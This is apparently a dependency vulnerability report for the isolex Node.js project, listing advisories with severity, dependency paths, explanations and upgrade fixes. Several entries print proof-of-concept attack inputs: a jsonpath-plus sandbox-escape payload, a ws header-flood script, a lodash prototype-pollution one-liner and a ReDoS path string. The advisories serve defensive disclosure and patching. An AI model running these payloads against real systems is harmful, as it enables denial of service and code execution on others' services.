Find, fix and prevent vulnerabilities in your code.
critical severity
- Vulnerable module: form-data
- Introduced through: request@2.88.2 and @kubernetes/client-node@0.16.3
Detailed paths
-
Introduced through: isolex@ssube/isolex#ba5c79c0578ac35a7faab9ee745631d51382162b › request@2.88.2 › form-data@2.3.3
-
Introduced through: isolex@ssube/isolex#ba5c79c0578ac35a7faab9ee745631d51382162b › @kubernetes/client-node@0.16.3 › request@2.88.2 › form-data@2.3.3
Overview
Affected versions of this package are vulnerable to Predictable Value Range from Previous Values via the boundary
value, which uses Math.random()
. An attacker can manipulate HTTP request boundaries by exploiting predictable values, potentially leading to HTTP parameter pollution.
Remediation
Upgrade form-data
to version 2.5.4, 3.0.4, 4.0.4 or higher.
References
critical severity
- Vulnerable module: jsonpath-plus
- Introduced through: @kubernetes/client-node@0.16.3 and jsonpath-plus@6.0.1
Detailed paths
-
Introduced through: isolex@ssube/isolex#ba5c79c0578ac35a7faab9ee745631d51382162b › @kubernetes/client-node@0.16.3 › jsonpath-plus@0.19.0Remediation: Upgrade to @kubernetes/client-node@0.22.1.
-
Introduced through: isolex@ssube/isolex#ba5c79c0578ac35a7faab9ee745631d51382162b › jsonpath-plus@6.0.1Remediation: Upgrade to jsonpath-plus@10.2.0.
Overview
jsonpath-plus is an A JS implementation of JSONPath with some additional operators
Affected versions of this package are vulnerable to Remote Code Execution (RCE) due to improper input sanitization. An attacker can execute aribitrary code on the system by exploiting the unsafe default usage of vm
in Node.
Note:
There were several attempts to fix it in versions 10.0.0-10.1.0 but it could still be exploited using different payloads.
PoC
const { JSONPath } = require("jsonpath-plus");
const pathDoS =
"$[?(con = constructor; dp = con.defineProperty; gopd = con.getOwnPropertyDescriptor; f = gopd(con, 'entries').value; alt = gopd(con.getPrototypeOf(f), 'apply'); dp(con.getPrototypeOf(_$_root.body), 'toString', alt);)]";
const pathSsrf =
"$[?(con = constructor; dp = con.defineProperty; dp(con.prototype, 'referrer', _$_root.referrer); dp(con.prototype, 'method', _$_root.method); dp(con.prototype, 'body', _$_root.body);)]";
const result = JSONPath({
json: {
referrer: {
value: "http://authorized.com",
writable: true,
},
method: {
value: "POST",
writable: true,
},
body: {
value: "Hello, World!",
writable: true,
},
},
path: pathDoS,
});
result.toString(); //DoS
//fetch("http://localhost:3000"); // ssrf with possible privilege escalation via lateral movement
Remediation
Upgrade jsonpath-plus
to version 10.2.0 or higher.
References
critical severity
- Vulnerable module: jsonpath-plus
- Introduced through: @kubernetes/client-node@0.16.3 and jsonpath-plus@6.0.1
Detailed paths
-
Introduced through: isolex@ssube/isolex#ba5c79c0578ac35a7faab9ee745631d51382162b › @kubernetes/client-node@0.16.3 › jsonpath-plus@0.19.0Remediation: Upgrade to @kubernetes/client-node@0.22.1.
-
Introduced through: isolex@ssube/isolex#ba5c79c0578ac35a7faab9ee745631d51382162b › jsonpath-plus@6.0.1Remediation: Upgrade to jsonpath-plus@10.3.0.
Overview
jsonpath-plus is an A JS implementation of JSONPath with some additional operators
Affected versions of this package are vulnerable to Remote Code Execution (RCE) due to improper input sanitization. An attacker can execute aribitrary code on the system by exploiting the unsafe default usage of eval='safe'
mode.
Note:
This is caused by an incomplete fix for CVE-2024-21534.
Remediation
Upgrade jsonpath-plus
to version 10.3.0 or higher.
References
high severity
- Vulnerable module: body-parser
- Introduced through: express@4.18.1
Detailed paths
-
Introduced through: isolex@ssube/isolex#ba5c79c0578ac35a7faab9ee745631d51382162b › express@4.18.1 › body-parser@1.20.0Remediation: Upgrade to express@4.20.0.
Overview
Affected versions of this package are vulnerable to Asymmetric Resource Consumption (Amplification) via the extendedparser
and urlencoded
functions when the URL encoding process is enabled. An attacker can flood the server with a large number of specially crafted requests.
Remediation
Upgrade body-parser
to version 1.20.3 or higher.
References
high severity
- Vulnerable module: sqlite3
- Introduced through: sqlite3@5.0.8
Detailed paths
-
Introduced through: isolex@ssube/isolex#ba5c79c0578ac35a7faab9ee745631d51382162b › sqlite3@5.0.8Remediation: Upgrade to sqlite3@5.1.5.
Overview
Affected versions of this package are vulnerable to Arbitrary Code Execution via the .ToString()
method due to improper sanitization. Exploiting this vulnerability is possible when a binding parameter is a crafted Object and might result in arbitrary JavaScript code execution or DoS.
Workarounds
Ensure sufficient sanitization in the parent application to protect against invalid values being supplied to binding parameters.
Remediation
Upgrade sqlite3
to version 5.1.5 or higher.
References
high severity
- Vulnerable module: ws
- Introduced through: ws@8.6.0
Detailed paths
-
Introduced through: isolex@ssube/isolex#ba5c79c0578ac35a7faab9ee745631d51382162b › ws@8.6.0Remediation: Upgrade to ws@8.17.1.
Overview
ws is a simple to use websocket client, server and console for node.js.
Affected versions of this package are vulnerable to Denial of Service (DoS) when the number of received headers exceed the server.maxHeadersCount
or request.maxHeadersCount
threshold.
Workaround
This issue can be mitigating by following these steps:
Reduce the maximum allowed length of the request headers using the
--max-http-header-size=size
and/or themaxHeaderSize
options so that no more headers than theserver.maxHeadersCount
limit can be sent.Set
server.maxHeadersCount
to 0 so that no limit is applied.
PoC
const http = require('http');
const WebSocket = require('ws');
const server = http.createServer();
const wss = new WebSocket.Server({ server });
server.listen(function () {
const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
const headers = {};
let count = 0;
for (let i = 0; i < chars.length; i++) {
if (count === 2000) break;
for (let j = 0; j < chars.length; j++) {
const key = chars[i] + chars[j];
headers[key] = 'x';
if (++count === 2000) break;
}
}
headers.Connection = 'Upgrade';
headers.Upgrade = 'websocket';
headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
headers['Sec-WebSocket-Version'] = '13';
const request = http.request({
headers: headers,
host: '127.0.0.1',
port: server.address().port
});
request.end();
});
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
ws
package
Remediation
Upgrade ws
to version 5.2.4, 6.2.3, 7.5.10, 8.17.1 or higher.
References
high severity
- Vulnerable module: lodash.set
- Introduced through: @octokit/rest@16.43.2
Detailed paths
-
Introduced through: isolex@ssube/isolex#ba5c79c0578ac35a7faab9ee745631d51382162b › @octokit/rest@16.43.2 › lodash.set@4.3.2
Overview
lodash.set is a lodash method _.set exported as a Node.js module.
Affected versions of this package are vulnerable to Prototype Pollution via the set
and setwith
functions due to improper user input sanitization.
Note
lodash.set
is not maintained for a long time. It is recommended to use lodash
library, which contains the fix since version 4.17.17.
PoC
lod = require('lodash')
lod.set({}, "__proto__[test2]", "456")
console.log(Object.prototype)
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Object
recursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
Type | Origin | Short description |
---|---|---|
Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype)
.Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)
), breaking the prototype chain and preventing pollution.As a best practice use
Map
instead ofObject
.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
There is no fixed version for lodash.set
.
References
high severity
- Vulnerable module: axios
- Introduced through: @slack/client@5.0.2
Detailed paths
-
Introduced through: isolex@ssube/isolex#ba5c79c0578ac35a7faab9ee745631d51382162b › @slack/client@5.0.2 › @slack/web-api@5.15.0 › axios@0.21.4
-
Introduced through: isolex@ssube/isolex#ba5c79c0578ac35a7faab9ee745631d51382162b › @slack/client@5.0.2 › @slack/webhook@5.0.4 › axios@0.21.4
-
Introduced through: isolex@ssube/isolex#ba5c79c0578ac35a7faab9ee745631d51382162b › @slack/client@5.0.2 › @slack/rtm-api@5.0.5 › @slack/web-api@5.15.0 › axios@0.21.4
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Cross-site Request Forgery (CSRF) due to inserting the X-XSRF-TOKEN
header using the secret XSRF-TOKEN
cookie value in all requests to any server when the XSRF-TOKEN
0 cookie is available, and the withCredentials
setting is turned on. If a malicious user manages to obtain this value, it can potentially lead to the XSRF defence mechanism bypass.
Workaround
Users should change the default XSRF-TOKEN
cookie name in the Axios configuration and manually include the corresponding header only in the specific places where it's necessary.
Remediation
Upgrade axios
to version 0.28.0, 1.6.0 or higher.
References
medium severity
- Vulnerable module: @octokit/plugin-paginate-rest
- Introduced through: @octokit/rest@16.43.2
Detailed paths
-
Introduced through: isolex@ssube/isolex#ba5c79c0578ac35a7faab9ee745631d51382162b › @octokit/rest@16.43.2 › @octokit/plugin-paginate-rest@1.1.2Remediation: Upgrade to @octokit/rest@20.0.2.
Overview
@octokit/plugin-paginate-rest is an Octokit plugin to paginate REST API endpoint responses
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) through the octokit.paginate.iterator
process. An attacker can cause significant performance degradation and potential service unresponsiveness by injecting a malicious Link
header in the request.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade @octokit/plugin-paginate-rest
to version 9.2.2, 11.4.1 or higher.
References
medium severity
- Vulnerable module: @octokit/request
- Introduced through: @octokit/app@4.3.0 and @octokit/rest@16.43.2
Detailed paths
-
Introduced through: isolex@ssube/isolex#ba5c79c0578ac35a7faab9ee745631d51382162b › @octokit/app@4.3.0 › @octokit/request@5.6.3Remediation: Upgrade to @octokit/app@10.0.0.
-
Introduced through: isolex@ssube/isolex#ba5c79c0578ac35a7faab9ee745631d51382162b › @octokit/rest@16.43.2 › @octokit/request@5.6.3Remediation: Upgrade to @octokit/rest@17.0.0.
Overview
@octokit/request is a Send parameterized requests to GitHub's APIs with sensible defaults in browsers and Node
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) through the link
header processing. An attacker can cause excessive CPU usage and potentially make the server unresponsive by sending a specially crafted link
header designed to trigger inefficient regex backtracking.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade @octokit/request
to version 8.4.1, 9.2.1 or higher.
References
medium severity
- Vulnerable module: @octokit/request-error
- Introduced through: @octokit/app@4.3.0 and @octokit/rest@16.43.2
Detailed paths
-
Introduced through: isolex@ssube/isolex#ba5c79c0578ac35a7faab9ee745631d51382162b › @octokit/app@4.3.0 › @octokit/request@5.6.3 › @octokit/request-error@2.1.0Remediation: Upgrade to @octokit/app@10.0.0.
-
Introduced through: isolex@ssube/isolex#ba5c79c0578ac35a7faab9ee745631d51382162b › @octokit/rest@16.43.2 › @octokit/request@5.6.3 › @octokit/request-error@2.1.0Remediation: Upgrade to @octokit/rest@17.0.0.
-
Introduced through: isolex@ssube/isolex#ba5c79c0578ac35a7faab9ee745631d51382162b › @octokit/rest@16.43.2 › @octokit/request-error@1.2.1Remediation: Upgrade to @octokit/rest@17.0.0.
Overview
@octokit/request-error is an Error class for Octokit request errors
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper handling of the authorization
header. An attacker can cause excessive CPU usage and potentially freeze the server by sending a specially crafted authorization
header containing a long sequence of spaces followed by a newline and "@".
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade @octokit/request-error
to version 5.1.1, 6.1.7 or higher.
References
medium severity
- Vulnerable module: path-to-regexp
- Introduced through: express@4.18.1
Detailed paths
-
Introduced through: isolex@ssube/isolex#ba5c79c0578ac35a7faab9ee745631d51382162b › express@4.18.1 › path-to-regexp@0.1.7Remediation: Upgrade to express@4.20.0.
Overview
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when including multiple regular expression parameters in a single segment, which will produce the regular expression /^\/([^\/]+?)-([^\/]+?)\/?$/
, if two parameters within a single segment are separated by a character other than a /
or .
. Poor performance will block the event loop and can lead to a DoS.
Note:
While the 8.0.0 release has completely eliminated the vulnerable functionality, prior versions that have received the patch to mitigate backtracking may still be vulnerable if custom regular expressions are used. So it is strongly recommended for regular expression input to be controlled to avoid malicious performance degradation in those versions. This behavior is enforced as of version 7.1.0 via the strict
option, which returns an error if a dangerous regular expression is detected.
Workaround
This vulnerability can be avoided by using a custom regular expression for parameters after the first in a segment, which excludes -
and /
.
PoC
/a${'-a'.repeat(8_000)}/a
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade path-to-regexp
to version 0.1.10, 1.9.0, 3.3.0, 6.3.0, 8.0.0 or higher.
References
medium severity
- Vulnerable module: path-to-regexp
- Introduced through: express@4.18.1
Detailed paths
-
Introduced through: isolex@ssube/isolex#ba5c79c0578ac35a7faab9ee745631d51382162b › express@4.18.1 › path-to-regexp@0.1.7Remediation: Upgrade to express@4.21.2.
Overview
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when including multiple regular expression parameters in a single segment, when the separator is not .
(e.g. no /:a-:b
). Poor performance will block the event loop and can lead to a DoS.
Note:
This issue is caused due to an incomplete fix for CVE-2024-45296.
Workarounds
This can be mitigated by avoiding using two parameters within a single path segment, when the separator is not .
(e.g. no /:a-:b
). Alternatively, the regex used for both parameters can be defined to ensure they do not overlap to allow backtracking.
PoC
/a${'-a'.repeat(8_000)}/a
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade path-to-regexp
to version 0.1.12 or higher.
References
medium severity
- Vulnerable module: jsonwebtoken
- Introduced through: jsonwebtoken@8.5.1, @octokit/app@4.3.0 and others
Detailed paths
-
Introduced through: isolex@ssube/isolex#ba5c79c0578ac35a7faab9ee745631d51382162b › jsonwebtoken@8.5.1Remediation: Upgrade to jsonwebtoken@9.0.0.
-
Introduced through: isolex@ssube/isolex#ba5c79c0578ac35a7faab9ee745631d51382162b › @octokit/app@4.3.0 › jsonwebtoken@8.5.1Remediation: Upgrade to @octokit/app@10.0.0.
-
Introduced through: isolex@ssube/isolex#ba5c79c0578ac35a7faab9ee745631d51382162b › passport-jwt@4.0.0 › jsonwebtoken@8.5.1Remediation: Upgrade to passport-jwt@4.0.1.
Overview
jsonwebtoken is a JSON Web Token implementation (symmetric and asymmetric)
Affected versions of this package are vulnerable to Use of a Broken or Risky Cryptographic Algorithm such that the library can be misconfigured to use legacy, insecure key types for signature verification. For example, DSA keys could be used with the RS256 algorithm.
Exploitability
Users are affected when using an algorithm and a key type other than the combinations mentioned below:
EC: ES256, ES384, ES512
RSA: RS256, RS384, RS512, PS256, PS384, PS512
RSA-PSS: PS256, PS384, PS512
And for Elliptic Curve algorithms:
ES256: prime256v1
ES384: secp384r1
ES512: secp521r1
Workaround
Users who are unable to upgrade to the fixed version can use the allowInvalidAsymmetricKeyTypes
option to true
in the sign()
and verify()
functions to continue usage of invalid key type/algorithm combination in 9.0.0 for legacy compatibility.
Remediation
Upgrade jsonwebtoken
to version 9.0.0 or higher.
References
medium severity
- Vulnerable module: jsonwebtoken
